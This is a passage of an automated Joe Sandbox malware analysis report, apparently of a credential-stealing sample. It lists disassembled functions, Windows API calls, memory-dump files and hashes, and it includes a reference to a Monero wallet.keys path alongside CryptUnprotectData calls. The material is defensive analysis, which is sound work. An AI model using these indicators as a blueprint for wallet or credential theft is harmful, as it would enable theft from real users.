Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 12e85d2f55ac59b7decaad5d340100aceda8e7e149a90059825efc82edc42cb3
Instruction ID: 34095d82ddce20af3eec337f791d5b93d134a43d426899c2f1cf15c5a026679f
Opcode Fuzzy Hash: 12e85d2f55ac59b7decaad5d340100aceda8e7e149a90059825efc82edc42cb3
Instruction Fuzzy Hash: 0B011E75A00208EBCB14DFA5DD58BEEB7F9EF48300F144298A945A7280EB359B40DF51

Function 00E3D4C6 Relevance: 6.4, Strings: 4, Instructions: 1402COMMON

Download Yara Rule

Strings

weZ?, xrefs: 00E3D95C
nn, xrefs: 00E3DE04
r#X, xrefs: 00E3D892, 00E3D8AB, 00E3D971
oQ?}, xrefs: 00E3D52F

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: nn$oQ?}$weZ?$r#X
API String ID: 0-398326426
Opcode ID: 42fd980d89ac06f4fcbc049ed5fcbf76a982c32a6650efe964752fcc9ac5e9cd
Instruction ID: b9768f587b05e31906e0e028d042fe137756c007b23fe587ced096543cd4fc6a
Opcode Fuzzy Hash: 42fd980d89ac06f4fcbc049ed5fcbf76a982c32a6650efe964752fcc9ac5e9cd
Instruction Fuzzy Hash: 91A206F3A0C204AFE7046E29EC8577ABBE5EF94720F1A493DE6C4C3744EA3558058697

Function 00A88680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A905B7), ref: 00A886CA
Process32First.KERNEL32(?,00000128), ref: 00A886DE
Process32Next.KERNEL32(?,00000128), ref: 00A886F3

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

CloseHandle.KERNEL32(?), ref: 00A88761

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: e9eb856a9752f19d899e02b5d490e1fb5f216b4dd41b4c7c2e1fe5f8b5719527
Instruction ID: d8cbc614d68c348c8e0d49f3a59ccc7f39c73fa850ca37bd3d6c804bc55e0edf
Opcode Fuzzy Hash: e9eb856a9752f19d899e02b5d490e1fb5f216b4dd41b4c7c2e1fe5f8b5719527
Instruction Fuzzy Hash: 0D315971901218ABDB24EB54CD41FEEB778FF55700F5046AAE10AA21A0DF386A45CFA2

Function 00A88EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00A75184,40000001,00000000,00000000,?,00A75184), ref: 00A88EC0

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 46e9c5710708a5a48646c1b077df247a361ea83c0e3ee5e96aed7b565883174d
Instruction ID: 59be46775fb655c544fa24ee6aafcc7d0bfb5f2a4129364b4d1ab9742f974809
Opcode Fuzzy Hash: 46e9c5710708a5a48646c1b077df247a361ea83c0e3ee5e96aed7b565883174d
Instruction Fuzzy Hash: 6F1127B0200208FFDB00DF64E885FAB33BAAF89304F509548FA598B250DB39EC41DB60

Function 00A79AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A74EEE,00000000,00000000), ref: 00A79AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00A74EEE,00000000,?), ref: 00A79B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A74EEE,00000000,00000000), ref: 00A79B2A
LocalFree.KERNEL32(?,?,?,?,00A74EEE,00000000,?), ref: 00A79B3F

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 3b30cc002a489a05e8c6c4427ed26779d626b9fc60520c09f3676cb8e71eef66
Instruction ID: ea4dd22bd1b0711dd73d1dbb9a9ba4e5021828fbd649b5c5093d110fefe6deb8
Opcode Fuzzy Hash: 3b30cc002a489a05e8c6c4427ed26779d626b9fc60520c09f3676cb8e71eef66
Instruction Fuzzy Hash: F01190B4640208AFEB10CF64DC95FAA77B5EB89700F20C159F9199B3D0C7B6A901CB90

Function 00A87980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A90E00,00000000,?), ref: 00A879B0
RtlAllocateHeap.NTDLL(00000000), ref: 00A879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00A90E00,00000000,?), ref: 00A879C4
wsprintfA.USER32 ref: 00A879F3

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 638cc00a0596df5f8eb7657244097bd8d813257726a7ec18561c3bc4bb8287bc
Instruction ID: af42f748655df757633c0ee207f26329a54643714e5ac3abbdeab40415336d4a
Opcode Fuzzy Hash: 638cc00a0596df5f8eb7657244097bd8d813257726a7ec18561c3bc4bb8287bc
Instruction Fuzzy Hash: FB1123B2904118ABCB14DFCADD45BBEBBF8FB4CB11F10421AF645A2280E2395940CBB1

Function 00A87A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0068EE98,00000000,?,00A90E10,00000000,?,00000000,00000000), ref: 00A87A63
RtlAllocateHeap.NTDLL(00000000), ref: 00A87A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0068EE98,00000000,?,00A90E10,00000000,?,00000000,00000000,?), ref: 00A87A7D
wsprintfA.USER32 ref: 00A87AB7

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 320ebf5ea254176750d3810189edb6d9e99949d71064cfc80754d9df61ca0abd
Instruction ID: b5e84384d97b9eb2bc76fcb1199048c2ce29f3069796083c52e72acaec6e3de4
Opcode Fuzzy Hash: 320ebf5ea254176750d3810189edb6d9e99949d71064cfc80754d9df61ca0abd
Instruction Fuzzy Hash: 0B118EB1A45218EBEB209B54DC49FADB7B8FB04761F10479AE91AA32C0D7745E40CF91

Function 00E4748A Relevance: 5.4, Strings: 3, Instructions: 1653COMMON

Download Yara Rule

Strings

](?w, xrefs: 00E482CD
{o/, xrefs: 00E484EA
t_H$, xrefs: 00E47DF3

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ](?w$t_H$${o/
API String ID: 0-3858438325
Opcode ID: 91cc20d367abdaa2aa0e339b8777069f9b6457bb7e1571dc0e100fb386c010dc
Instruction ID: a1887935dada14b8057e7a2711c245ce926daa4e1d47c6b288337d22d26bc009
Opcode Fuzzy Hash: 91cc20d367abdaa2aa0e339b8777069f9b6457bb7e1571dc0e100fb386c010dc
Instruction Fuzzy Hash: 9EB22BF3A0C204AFE3046E2DDC8567BB7D9EF94720F1A463DEAC5C3744EA3598018696

Function 00A83720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00A8E118,00000000,00000001,00A8E108,00000000), ref: 00A83758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00A837B0

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 61f169c0aae62fd1685a601dd2ca9de5969c4ab6bea57e0f2db1b0a30b5e2ba0
Instruction ID: 0bda2a2acd02cd89e98b0ca2a4163d4a00962c1042119f39953d026e328d96d3
Opcode Fuzzy Hash: 61f169c0aae62fd1685a601dd2ca9de5969c4ab6bea57e0f2db1b0a30b5e2ba0
Instruction Fuzzy Hash: 4441E971A40A28AFDB24DF58CC95B9BB7B5BB48702F4042D8E609E72D0D7716E85CF50

Function 00A79B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00A79B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A79BA3
LocalFree.KERNEL32(?), ref: 00A79BD3

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: c2e5ef6dc34f7f3120307aa8d0e3befdeff0bc0a0d45fe4266b0f16a8633f95e
Instruction ID: 3302380084635085737e49d240de51142285a22f0e8883f7c8f21ea054c6d8ef
Opcode Fuzzy Hash: c2e5ef6dc34f7f3120307aa8d0e3befdeff0bc0a0d45fe4266b0f16a8633f95e
Instruction Fuzzy Hash: C0110CB8A00209EFCB04DF94D995AAE77B5FF89300F108599E915A7350D770AE10CF61

Function 00E3AD7B Relevance: 1.5, Strings: 1, Instructions: 251COMMON

Download Yara Rule

Strings

Cw, xrefs: 00E3ADA7

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Cw
API String ID: 0-3441118413
Opcode ID: 63b95dd45f994a0ed9eddd7c46e0473990d19410431665c121f949bc02c34352
Instruction ID: dbca6789d42a084c6d7067560d5bb34c77b11a67d4ca765aa90f35922088be64
Opcode Fuzzy Hash: 63b95dd45f994a0ed9eddd7c46e0473990d19410431665c121f949bc02c34352
Instruction Fuzzy Hash: 0F7159B350C3089FD304BE3CEC8967ABBE5EB54620F1A4A3DEAC4C7744F93588018696

Function 00DD79A5 Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

>)w{, xrefs: 00DD7ADD

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >)w{
API String ID: 0-2709875300
Opcode ID: 41457d7b6ceb30dc5b9ef363106edd3b2bd39be8664a5b370752bc7596d54a27
Instruction ID: 41c5bc46b6b6eebed870b6e1188e7915b226e4f7b9bd9cf701a1a0a847e9ed09
Opcode Fuzzy Hash: 41457d7b6ceb30dc5b9ef363106edd3b2bd39be8664a5b370752bc7596d54a27
Instruction Fuzzy Hash: E47127F3E082109FF7046E28DC5977AB7D6EB94320F1B453DEAC997784E939580482C6

Function 00D9AC80 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

P{, xrefs: 00D9AE80

Memory Dump Source

